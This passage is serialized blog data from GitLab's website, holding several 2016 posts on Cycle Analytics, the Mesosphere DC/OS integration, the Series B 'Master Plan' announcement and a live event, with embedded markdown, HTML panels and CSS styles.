team](/blog/feature-preview-introducing-cycle-analytics/). The TL;DR takeaway from that post was: **reducing cycle time is a competitive advantage**. Cycle Analytics helps you uncover how long it actually takes to complete your development process.\nA shared view of the team's velocity is the first stage to improving it.\n\n## Measuring the Modern Development Lifecycle\n\n![FROM IDEA TO PRODUCTION IN 10 STEPS](https://about.gitlab.com/images/blogimages/idea-to-production-10-steps.png)\n\nCycle Analytics tracks the [median](https://www.mathsisfun.com/definitions/median.html) time it takes your team to complete every stage in the modern development process.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n\n**Cycle Analytics Stages**\n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\n\\- **Issue** (Tracker)\n  - Median time from creating an issue to assigning the issue to a milestone or adding the issue to a list on your Issue Board\n\n\\- **Plan** (Board)\n  - Median time from giving an issue a milestone or adding it to an Issue Board list to the pushing first commit\n\n\\- **Code** (IDE)\n  - Median time from the first commit to creating the merge request\n\n\\- **Test** (CI)\n  - Median of the time CI takes to run every build for the related merge request\n\n\\- **Review** (Merge Request)\n  - Median time from creating the merge request to merging it\n\n\\- **Staging** (Continuous Deployment)\n  - Median time from MR merge until deploy to production\n\n\\- **Production** (Total)\n  - The time it takes between creating an issue and deploying the code to production\n\n\u003C/div>\n\u003C/div>\n\n**Note:** This the first iteration of Cycle Analytics. As you know, we ship the smallest thing to provide initial value and then we learn from your feedback and continue to improve the feature over time. We have ideas about what we will build next for Cycle Analytics but we'd love to hear your thoughts. You can follow and contribute to the discussion on [this issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/20975).\n{: .note}\n\n## Cycle Analytics Follows GitLab Flow\n\nIn recent months, we've talked a lot about [our vision](/direction/#vision) of being an integrated set of tools for the full software development lifecycle. Cycle Analytics is another testament to the benefits of having an integrated toolset.\nThe reason we are able to measure cycle time is because GitLab stores all of the data around your development efforts, and the associated metrics, in one central data store. Now, we're able to surface that data through Cycle Analytics.\nHowever, it's important to note that Cycle Analytics tracks cycle time based on the [GitLab Flow](http://doc.gitlab.com/ee/workflow/gitlab_flow.html). Therefore, there are some noteworthy dependencies.\n\n\u003Cdiv class=\"panel panel-gitlab\">\n\n**Cycle Analytics & GitLab Flow**\n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\n- Cycle Analytics is a measure of how long it takes the team to complete the cycle. Therefore, we only track cycle time on issues that have been **deployed to production.**\n- Cycle Analytics uses your GitLab CI configuration file to understand which [`environment` is set to `production`](https://docs.gitlab.com/ee/ci/environments/index.html#sts=Introduction). For Cycle Analytics to track your cycle time, you'll need to [configure GitLab CI](https://docs.gitlab.com/ee/ci/quick_start/).\n- The **Plan** stage measures the time from assigning an issue to a milestone or moving it to a list on the Issue Board to pushing the first commit. For Cycle Analytics to track this time, your commit message must include the [issue closing pattern] like `Closes #xxx`, where `xxx` is the issue number related to this commit.\n- The **Code** stage measures the time between pushing the first commit and creating a merge request (MR) related to that commit. For Cycle Analytics to track this, you’ll need to add an [issue closing pattern] like `Closes #xxx` to the description of the MR.\n\n\u003C/div>\n\u003C/div>\n\nWe recognize that every team does not follow the same flow. And while GitLab is a flexible product, we are also building an opinionated product that’s aimed at helping you move faster from idea to production. Our CEO, Sid Sijbrandij, shared his thoughts on [GitLab Workflow best practices](/topics/version-control/what-are-gitlab-flow-best-practices/). We hope that they help simplify your workflow within GitLab.\n\n## Getting Started\n\nOn September 22nd, [Cycle Analytics](/solutions/value-stream-management/) will be available in GitLab.com, GitLab Community Edition, and GitLab Enterprise Edition. Getting started is the same in all three products. All you have to do is navigate to your Project’s **Pipelines** tab and then select **Cycle Analytics** to see your project's dashboard.\n\nKeep in mind that if you're working in a new project and you haven't deployed anything to production then you won't see any data on your Cycle Analytics dashboard.\n\n## Join Our Release Webcast\n\nJoin us on September 29th for our Cycle Analytics and [GitLab 8.12](/releases/2016/09/22/gitlab-8-12-released/) Release Webcast. We'll demo some exciting new features and hold a Q&A. [Register here][webcast-registration].\n\n\u003C!-- identifiers -->\n\n[idea-production]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab\n[webcast-registration]: https://Page.gitlab.com/20160922_CycleAnalyticsWebcast.html\n[issue closing pattern]: https://docs.gitlab.com/ee/user/project/issues/managing_issues.html\n\n\u003C!-- custom styles -->\n\n\u003Cstyle>\n.panel-gitlab {\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab > .panel-heading {\n  color: rgb(226,67,41);\n  background-color: rgba(252,163,38,.3);\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab-purple {\n  border-color: rgba(107,79,187,.3);\n}\n.panel-gitlab-purple > .panel-heading {\n  color: rgb(107,79,187);\n  background-color: rgba(107,79,187,.3);\n  border-color: rgba(107,79,187,.3);\n}\n\u003C/style>\n\n{::options parse_block_html=\"false\" /}",{"slug":37399,"featured":6,"template":678},"cycle-analytics-feature-highlight","content:en-us:blog:cycle-analytics-feature-highlight.yml","Cycle Analytics Feature Highlight","en-us/blog/cycle-analytics-feature-highlight.yml","en-us/blog/cycle-analytics-feature-highlight",{"_path":37405,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37406,"content":37412,"config":37417,"_id":37419,"_type":16,"title":37420,"_source":17,"_file":37421,"_stem":37422,"_extension":20},"/en-us/blog/announcing-gitlab-and-mesosphere",{"title":37407,"description":37408,"ogTitle":37407,"ogDescription":37408,"noIndex":6,"ogImage":37409,"ogUrl":37410,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37410,"schema":37411},"Announcing GitLab + Mesosphere: 5 reasons to get excited","GitLab is now available on DC/OS!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683612/Blog/Hero%20Images/announcing-gitlab-and-mesosphere-cover.png","https://about.gitlab.com/blog/announcing-gitlab-and-mesosphere","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing GitLab + Mesosphere: Five Reasons You Should Be Excited About This Integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amara Nwaigwe\"}],\n        \"datePublished\": \"2016-09-16\",\n      }",{"title":37413,"description":37408,"authors":37414,"heroImage":37409,"date":37415,"body":37416,"category":299},"Announcing GitLab + Mesosphere: Five Reasons You Should Be Excited About This Integration",[36786],"2016-09-16","\nToday we're happy to announce our integration with [Mesosphere](https://mesosphere.com/).\nNow you can install GitLab in your DC/OS environment in one-click. If you are not already familiar with Mesosphere, this is the \nperfect chance to get acquainted. Built on top of [Apache Mesos](http://mesos.apache.org/),\n[DC/OS](https://mesosphere.com/product/) makes it easier to build, run, and scale modern\napps. How? In short, they let you put your workloads into Docker\ncontainers and then manage those containers from a single secure and highly-available platform. We won't say\nmore than that so we don't spoil the five reasons to be excited.\n\n\u003C!-- more -->\n\n## The Five Reasons\n\n{::options parse_block_html=\"true\" /}\n\n\u003Cdiv class=\"panel panel-gitlab\">\n\n**1. Simplify the Complexities** \n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\nDC/OS is an incredible product that has made something that is genuinely complex feel surprisingly simple and intuitive. Most teams run their applications in production environments composed of multiple servers. Using GitLab.com as an example, at any given time, we run anywhere from 60-200 servers. You can read about the full breakdown in [this blog post](/blog/look-into-gitlab-infrastructure/). The point is that your infrastructure team is dealing with a lot of complexity. DC/OS simplifies that, offering a single platform to run everything on the same shared infrastructure.\n\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-success\">\n\n**2. Spin up GitLab Instances in Minutes** \n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\nIf you've ever spent hours or days configuring your tools, you know what a time-consuming pain it can be. In a world where time to market is everything, your team should take advantage of all the time savings they can get. With this integration, you able to spin up a GitLab instance in minutes, taking advantage of the existing infrastructure in your DC/OS environment. \n\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n\n**3. Utilize Resources More Efficiently** \n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\nLet's say you have a pool of servers that you've set up a cluster that can act as a shared computing resource. Any of these servers can run your task, while still being able to run other tasks that fit within their remaining resources, allowing you to maximize the capacity of each server. \n\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-info\">\n\n**4. Maintain Uptime** \n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\nDC/OS is fault tolerant. It keeps GitLab running through storage primitives in Mesos. If your GitLab instance dies then your server could just recover itself by simply going to another node. Setting up fault tolerance does require some additional configuration but this is a great way to ensure you don't lose anything.\n\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-danger\">\n\n**5. Analytics and Reporting** \n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\nDC/OS offers tools to help you monitor and perform health checks on your applications. You can also pull in metrics from other monitoring platforms, such as [DataDog and Graphite](https://mesosphere.com/solutions/container-orchestration/). DC/OS even wraps your analytics into a nice dashboard view. If you're an existing GitLab customer you know how much we value great UI. We spend a lot of time thinking about how to deliver the best UI in our product. It is clear that the team at Mesosphere does the same. The dashboard views in their product are clean and intuitive so you can maintain a pulse of your infrastructure. \n\n\u003C/div>\n\u003C/div>\n\n## Resources\n\nIf you're interested in learning more or want to learn how you can install GitLab on DC/OS take a look at these resources: \n\n- [GitLab-on-DC/OS tutorial blog post](https://mesosphere.com/blog/gitlab-dcos/)\n- [GitLab & Mesosphere joint solution brief](https://mesosphere.com/resources/mesosphere-gitlab-joint-solution-brief/)\n- [GitLab & Mesosphere webcast recording](https://youtu.be/GPtSI_2-lbM) \n\n\u003C!-- custom styles -->\n\n\u003Cstyle>\n.panel-gitlab {\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab > .panel-heading {\n  color: rgb(226,67,41);\n  background-color: rgba(252,163,38,.3);\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab-purple {\n  border-color: rgba(107,79,187,.3);\n}\n.panel-gitlab-purple > .panel-heading {\n  color: rgb(107,79,187);\n  background-color: rgba(107,79,187,.3);\n  border-color: rgba(107,79,187,.3);\n}\n\u003C/style>\n\n{::options parse_block_html=\"false\" /}\n",{"slug":37418,"featured":6,"template":678},"announcing-gitlab-and-mesosphere","content:en-us:blog:announcing-gitlab-and-mesosphere.yml","Announcing Gitlab And Mesosphere","en-us/blog/announcing-gitlab-and-mesosphere.yml","en-us/blog/announcing-gitlab-and-mesosphere",{"_path":37424,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37425,"content":37430,"config":37433,"_id":37435,"_type":16,"title":37436,"_source":17,"_file":37437,"_stem":37438,"_extension":20},"/en-us/blog/feature-preview-introducing-cycle-analytics",{"title":37426,"description":37427,"ogTitle":37426,"ogDescription":37427,"noIndex":6,"ogImage":37040,"ogUrl":37428,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37428,"schema":37429},"Feature Preview: Introducing Cycle Analytics","Cycle Analytics allows you to measure the time it takes you to move from idea to production!","https://about.gitlab.com/blog/feature-preview-introducing-cycle-analytics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Preview: Introducing Cycle Analytics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2016-09-16\",\n      }",{"title":37426,"description":37427,"authors":37431,"heroImage":37040,"date":37415,"body":37432,"category":299},[28961],"\n{::options parse_block_html=\"true\" /}\n\n\u003Cp  class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3);\n    border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">\n    \u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(226,67,41); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n    &nbsp;&nbsp;\n    [Join us for our next release webcast][webcast-registration]{: .purple} on September 29 to\n    learn more about Cycle Analytics and our upcoming GitLab 8.12!\n    &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n\u003C/p>\n\nTime to market is quickly becoming one of the most important, competitive factors \nfor software development companies. However, development teams \naren't able to track cycle time, largely because there isn't an easy way to do it. \n\n*Cycle Analytics changes that.* It gives you the ability to measure how much time \nit takes to go [from an idea to production][idea-production] so you can monitor and improve overall cycle time for continuous improvement. \n\n\u003Cdiv class=\"panel panel-info\">\n\n**What Is Cycle Analytics?**\n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\nCycle Analytics measures the time it takes to go from an idea to production for each project you have. \nNot only do we indicate the total time it takes to achieve this, but we break this total time down \ninto the multiple stages an idea has to pass through to be shipped. \n\n\u003C/div>\n\u003C/div>\n\nCycle Analytics enables you to reduce your cycle time by helping you to identify which steps\nin the modern development cycle are slowing down your team. Our [vision][vision] is to bring you all 10 steps of the modern development cycle into one cohesive experience. \nFrom idea to production, you should be able to monitor the entire process in one place.\n[Check out this video][demo] to learn more about our product vision.\n\n![FROM IDEA TO PRODUCTION IN 10 STEPS](https://about.gitlab.com/images/blogimages/idea-to-production-10-steps.png)\n\n## How Does Cycle Analytics Help Teams Work Better?##\n\nIt's easy to think that you are shipping quickly as a team, but issues can get stuck \nat a specific stage. Without metrics and a high-level \noverview of progress, we just don't know how long it takes to move from stage to stage, making it much harder \nto identify *why* something stalled. \n\nCycle Analytics is a way to prevent this from happening by giving you the data you \nneed to make better decisions and work better as a team. With metrics to measure \nhow long it takes your team to move from idea to production, you can pinpoint areas \nof improvement and more accurately predict your releases. Many teams already measure\na portion of their workflow, such as how long they spend writing code, but Cycle Analytics\nallows you to see the entire flow from end-to-end, starting right at the idea stage. \n\nReducing cycle time is the competitive advantage of the future. In fact, it's the \nfirst principle of [Conversational Development][convdev]. Yet, few teams have cycle times of weeks, days, or even hours. \nThe goal should be to reach [maximum efficiency][tech-beacon]. The benefit of reducing cycle time is that you can ship quicker, smaller changes. \nThis is not only more efficient, but helps teams be more customer-focused by delivering solutions, faster.\n\n![ConvDev Principles](https://about.gitlab.com/images/blogimages/feature-preview-introducing-cycle-analytics-convdev-principles.png)\n\nIt's not enough to focus on coding speed; what matters is how quickly you \nreact to market and customer needs.\n\n## Learn More\n\nThe first iteration of GitLab Cycle Analytics will be \nreleased on September 22, and is part of our [product vision][vision] to help you \nmove faster from idea to production. \n\nJoin us on September 29 for our Cycle Analytics webcast and a 8.12 Feature Release demo to learn more. [Register here][webcast-registration].\n\n\u003C!-- cover image: https://unsplash.com/photos/t5BvA-Q_m_Y -->\n\n\u003C!-- identifiers -->\n\n[convdev]: /blog/gitlab-live-event-recap/#convdev\n[demo]: https://www.youtube.com/watch?v=ZRcWCWatdas\n[idea-production]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab\n[webcast-registration]: https://Page.gitlab.com/20160922_CycleAnalyticsWebcast.html\n[master-plan-recap-post]: /blog/gitlab-live-event-recap/\n[tech-beacon]: http://techbeacon.com/doing-continuous-delivery-focus-first-reducing-release-cycle-times\n[vision]: /direction/#scope\n\n\u003Cstyle>\n.purple {\n  color: rgb(107,79,187);\n }\n\u003C/style>\n\n{::options parse_block_html=\"false\" /}\n",{"slug":37434,"featured":6,"template":678},"feature-preview-introducing-cycle-analytics","content:en-us:blog:feature-preview-introducing-cycle-analytics.yml","Feature Preview Introducing Cycle Analytics","en-us/blog/feature-preview-introducing-cycle-analytics.yml","en-us/blog/feature-preview-introducing-cycle-analytics",{"_path":37440,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37441,"content":37447,"config":37451,"_id":37453,"_type":16,"title":37454,"_source":17,"_file":37455,"_stem":37456,"_extension":20},"/en-us/blog/gitlab-master-plan",{"title":37442,"description":37443,"ogTitle":37442,"ogDescription":37443,"noIndex":6,"ogImage":37444,"ogUrl":37445,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37445,"schema":37446},"GitLab Master Plan","GitLab announces $20M in Series B funding, and its Master Plan to build an integrated toolset for the modern developer!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683617/Blog/Hero%20Images/gitlab-master-plan-cover.png","https://about.gitlab.com/blog/gitlab-master-plan","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Master Plan\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-09-13\",\n      }",{"title":37442,"description":37443,"authors":37448,"heroImage":37444,"date":37449,"body":37450,"category":299},[3532],"2016-09-13","\n{::options parse_block_html=\"true\" /}\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\"> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(226,67,41); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp; \u003Ca style=\"color: rgb(107,79,187);\" href=\"/blog/gitlab-live-event-recap/\">Watch the recording of The GitLab Master Plan\u003C/a> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(226,67,41); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;\u003C/p>\n\nToday we are thrilled to announce our **$20 million** Series B funding from investors [August Capital], [Khosla Ventures], and [Y Combinator]. This follows our [Series A round last September][series-a-post].\n\nWith the help of our investors, we’re moving full speed ahead to bring you issues, wikis, code review, [Continuous Integration, Continuous Deployment, and Continuous Delivery][ci-cd-post] into a single user interface (UI). In our [latest release][8-11-post], we announced the new **[Issue Boards][issue-boards-post]** and **[merge conflict resolution][mr-post]**, bringing us another step closer to realizing [our vision][vision].\n\n\u003C!-- more -->\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n\n**GitLab Vision**\n{: .panel-heading #vision}\n\n\u003Cdiv class=\"panel-body\">\n\n\u003Cp>The vision of GitLab is to allow everyone to collaborate on all digital content so people can cooperate effectively and achieve better results, faster. We can do this by providing an integrated set of tools that allows you to go faster from idea to production.\u003C/p>\n\n\u003C/div>\n\n\u003C/div>\n\nMore than 100,000 organizations worldwide now use GitLab and we have hosted over 1 million projects in GitLab.com since 2014. Our new financing will accelerate the development of GitLab in an effort to continue to give teams the simplest way to scale projects across functional groups, collaborate in real-time and effortlessly manage workflows and version control.\n\nHere’s what our investors have to say about us:\n\n> _Born in the enterprise and founded by an exceptional team of developers, GitLab has reimagined the software development process with an open core and flexible deployment solution that is ideal for companies of all sizes. August Capital is excited to be working with Sid and his team, and supporting GitLab’s growth and continued innovation._ — [Villi Iltchev][villi], partner at August Capital\n\n> _Investing in GitLab was an obvious choice. Open source solutions are the future, and GitLab is leading the way as the most popular open source code collaboration platform on the market._ — [Vinod Khosla][vinod], founder and partner of Khosla Ventures\n\n## The Software Development Revolution\n\nWe are seeing a shift in the landscape as the disparate tools that were designed to enable collaboration and speed up development are actually slowing down the enterprise development process. Developers are looking at Git and open source for solutions to deliver higher quality software, faster. In fact, [18 million developers now use open source][idc-study] for their corporate infrastructure and 30% of enterprise developers are using Git.\n\nLikewise, modern developers are well networked and have more choices than ever when it comes to adopting languages, tools, and infrastructure. As their roles shift from assembly line to managing the full process, there’s a greater need to track the full path of development. While many tools exist to serve each stage of the development lifecycle, we believe an integrated set of open source tools is the best way to deliver Conversational Development.\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n\n**Conversational Development**\n{: .panel-heading #convdev}\n\n\u003Cdiv class=\"panel-body\">\n\n**Conversational Development (ConvDev)** is a natural evolution of software development that carries a conversation across functional groups throughout the development process, enabling developers to track the full path of development in a cohesive and intuitive way. ConvDev accelerates the development lifecycle by fostering collaboration and knowledge sharing from idea to production.\n\n\u003C/div>\n\u003C/div>\n\n**It’s an exciting time to be a developer.** With more options, more open source collaboration, and new problems to solve, teams need to be able to work quickly to ship faster. As software becomes the competitive advantage across industries, those who can iterate quickly and build disruptive technologies will win out in the end.\n\n## The Master Plan\n\nTo help you get [faster from idea to production][idea-production], we are focusing on more than just the best tools, we are working to create the most natural and cohesive process to closely mirror the way developers work without duplicating effort or distraction of switching to multiple platforms. This additional capital gives us an incredible opportunity to expand our product offerings, create more collaborative tools and support development teams of all sizes.\n\n![FROM IDEA TO PRODUCTION IN 10 STEPS](https://about.gitlab.com/images/blogimages/idea-to-production-10-steps.png)\n\n\"GitLab is providing developers with a new way to view the development process as a seamless, iterative conversation that maps to how developers work today. This ‘‘conversational development” is a natural evolution for software engineers that covers the entire lifecycle from idea to production with agility and collaboration\", said Villi Iltchev.\n\nOur goal is to help you work better so you can ship faster. To do this, we are working on reducing cycle time and bringing ConvDev principles directly into our product as defined in our product direction [scope][scope].\n\nLearn more about our Master Plan and product direction. \u003Cbr> [Watch the recording here][event-recap].\n{: .alert .alert-orange}\n\n## We 💜 Our Community\n\nThank you to our amazing community. We owe GitLab’s existence to your enthusiasm, drive, and hard work. Without our contributors’ belief in open source software, we would not be where we are today. We need your help to make our collective vision a reality.\n\nWe are committed to standing by our [promise to be good stewards of open source][open-source-post], and keeping communication and collaboration amongst the community a high priority. Our open core business model ships both open and closed software. In an effort to maintain an unprecedented level of transparency, we follow three key principles:\n\n1. [Development in the open][open-dev]. You can submit issues in a public issue tracker. This is not a read-only interface.\n1. [Business in the open][open-core]. Our company handbook and policies are in the open.\n1. [Clear Direction][clear-direction]. Our Direction page clarifies the current project priorities and what is possible in the upcoming releases.\n\nRead more about our company values in our [open source][open-source-handbook-post] [handbook][handbook-values], licensed by [CC BY-SA 4.0][creative-commons].\n\n## Get Involved\n\nAt GitLab, everyone can contribute!\n\nUse the hashtag **#ConvDev** to share your impressions with your social media network!\n\nWant to help GitLab grow? *[We're looking for people to work with us!][careers]*\n\n\u003C!-- identifiers -->\n\n[8-11-post]: /releases/2016/08/22/gitlab-8-11-released/\n[august capital]: http://www.augustcap.com/\n[careers]: /jobs\n[ci-cd-post]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/\n[clear-direction]: /direction/\n[creative-commons]: https://creativecommons.org/licenses/by-sa/4.0/\n[event-recap]: /blog/gitlab-live-event-recap/\n[handbook-values]: https://handbook.gitlab.com/handbook/values/\n[idc-study]: https://www.infoq.com/news/2014/01/IDC-software-developers\n[idea-production]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab\n[issue-boards-post]: /blog/announcing-the-gitlab-issue-board/\n[khosla ventures]: http://www.khoslaventures.com/\n[mr-post]: /2016/09/06/resolving-merge-conflicts-from-the-gitlab-ui/\n[open-core]:  /2015/08/03/almost-everything-we-do-is-now-open/\n[open-dev]: /blog/improving-open-development-for-everyone/\n[open-source-handbook-post]: /2016/07/12/our-handbook-is-open-source-heres-why/\n[open-source-post]: /blog/being-a-good-open-source-steward/\n[scope]: /direction/#scope\n[series-a-post]:  /2015/09/17/gitlab-announces-4m-series-a-funding-from-khosla-ventures/\n[villi]: http://www.augustcap.com/team/villi-iltchev/\n[vinod]: http://www.khoslaventures.com/team/vinod-khosla\n[vision]: /direction/#vision\n[Y Combinator]: https://www.ycombinator.com/\n\n\u003C!-- custom styles -->\n\n\u003Cstyle>\n.panel-gitlab {\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab > .panel-heading {\n  color: rgb(226,67,41);\n  background-color: rgba(252,163,38,.3);\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab-purple {\n  border-color: rgba(107,79,187,.3);\n}\n.panel-gitlab-purple > .panel-heading {\n  color: rgb(107,79,187);\n  background-color: rgba(107,79,187,.3);\n  border-color: rgba(107,79,187,.3);\n}\n.purple {\n  color:rgb(107,79,187);\n}\n.orange {\n  color:rgb(252,109,38);\n}\n.alert-orange {\n  background-color: rgba(252,163,38,.3);\n  border-color: rgba(252,163,38,.3);\n  color: rgb(226,67,41) !important;\n  text-align: center;\n}\n.alert-orange a {\n  color: rgb(107,79,187) !important;\n}\n.alert-orange a:hover {\n  color: #1689e0 !important;\n}\n\u003C/style>\n\n{::options parse_block_html=\"false\" /}",{"slug":37452,"featured":6,"template":678},"gitlab-master-plan","content:en-us:blog:gitlab-master-plan.yml","Gitlab Master Plan","en-us/blog/gitlab-master-plan.yml","en-us/blog/gitlab-master-plan",{"_path":37458,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37459,"content":37465,"config":37470,"_id":37472,"_type":16,"title":37473,"_source":17,"_file":37474,"_stem":37475,"_extension":20},"/en-us/blog/gitlab-special-event",{"title":37460,"description":37461,"ogTitle":37460,"ogDescription":37461,"noIndex":6,"ogImage":37462,"ogUrl":37463,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37463,"schema":37464},"Live Event: Unveiling the GitLab Master Plan","Tune in Tuesday, September 13th at 1pm ET - 5pm GMT for a special live event with GitLab CEO Sid Sijbrandij","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683880/Blog/Hero%20Images/gitlab-special-event-cover.jpg","https://about.gitlab.com/blog/gitlab-special-event","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Live Event: Unveiling the GitLab Master Plan\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Smith\"}],\n        \"datePublished\": \"2016-09-07\",\n      }",{"title":37460,"description":37461,"authors":37466,"heroImage":37462,"date":37468,"body":37469,"category":299},[37467],"Ashley Smith","2016-09-07","\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">TL;DR: GitLab CEO Sid Sijbrandij unveiled the &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>GitLab Master Plan\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;during a special live event. \u003Ca style=\"color: rgb(107,79,187);\" href=\"/blog/gitlab-live-event-recap/\">Watch the recording and download the slides here\u003C/a>!\u003C/p>\n\nThe world of software development is changing.\n\nMore companies are joining the [open source][trends-version-control] world\ndue to improved efficiency, interoperability, and innovation.\nDevelopers' roles are shifting away from specialized functions and moving toward\na unified management process, accessible to their entire team with as little external integrations as possible.  \n\nThese changes in the way we work have presented new challenges for modern development teams. \nWith the entire team more aware of each step in the development process — from solving\nbugs to creating innovative features — teams need a better way to work together.\nBy putting **conversations first** and integrating chat into our platform, we can \neliminate dozens of external toolsets, understand ourselves better, and achieve \ndesired results in shorter time. This is what efficiency is all about.\n\n\u003C!-- more -->\n\n## GitLab vision\n\nThe need to track the full path of development in a cohesive and intuitive way has already\nstarted to make room for new, modern development tools and practices that foster\ncollaboration and information sharing across the entire lifecycle of a project.\n\nAt GitLab, our [vision][gitlab-vision] is to allow everyone to collaborate on all\ndigital technologies so people can cooperate effectively to achieve better results.\nIt's our mission to make collaboration seamless so you can work faster,\ninnovate better, and have more fun while doing it. We believe that to deliver\nmore relevant functionality with higher quality, the effort required to\nget the job done must be reduced.\nTo get there, we are working on solutions to go [faster from idea\nto production][post-ci-cd]. \n\nAfter the success of the [GitLab Issue Board][issue-board-release], a\nsolution for better planning within the GitLab UI, we are working on\nhaving all [10 solutions][scope] ready to go for the GitLab community.\n\nThis is why we hosted a special, live event with\nGitLab’s CEO, [Sid Sijbrandij]. During the event, Sid shared\nthe **GitLab Master Plan**, and demoed our advanced workflow for modern software\nproduction using **Conversation Driven Development (CDD)**.\n\nEveryone is invited to tune in, encouraged to ask questions, express\nopinions, and share ideas with us. At GitLab, **everyone can contribute!**\n\n## Watch the Recording\n\n[Watch the recording][event-recap] of this special event.\n\nWatch until the end to catch the Q&A session with Sid, CEO, Job van der Voort, \nVP of Product, myself, Chief Marketing Officer, and guest MC Community Extraordinaire [Jono Bacon][jono-twitter]. \n\n\u003C!-- identifiers -->\n\n[gitlab-vision]: /direction/#vision\n[issue-board-release]: /blog/announcing-the-gitlab-issue-board/\n[post-ci-cd]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/\n[scope]: /direction/#scope\n[Sid Sijbrandij]: https://twitter.com/sytses\n[jono-twitter]: https://twitter.com/jonobacon\n[trends-version-control]: /blog/trends-in-version-control-land-open-source/\n[event-recap]: /blog/gitlab-live-event-recap/\n\n\u003C!-- custom styles -->\n\n\u003Cstyle>\n.alert-orange {\n  background-color: rgba(252,163,38,.3);\n  border-color: rgba(252,163,38,.3);\n  color: rgb(226,67,41) !important;\n  text-align: center;\n}\n.alert-orange a {\n  color: rgb(107,79,187) !important;\n}\n.alert-orange a:hover {\n  color: #1689e0 !important;\n}\n\u003C/style>\n",{"slug":37471,"featured":6,"template":678},"gitlab-special-event","content:en-us:blog:gitlab-special-event.yml","Gitlab Special Event","en-us/blog/gitlab-special-event.yml","en-us/blog/gitlab-special-event",{"_path":37477,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37478,"content":37484,"config":37488,"_id":37490,"_type":16,"title":37491,"_source":17,"_file":37492,"_stem":37493,"_extension":20},"/en-us/blog/resolving-merge-conflicts-from-the-gitlab-ui",{"title":37479,"description":37480,"ogTitle":37479,"ogDescription":37480,"noIndex":6,"ogImage":37481,"ogUrl":37482,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37482,"schema":37483},"Resolving Merge Conflicts from the GitLab UI","Learn how GitLab's merge conflict resolution feature works and why we introduced 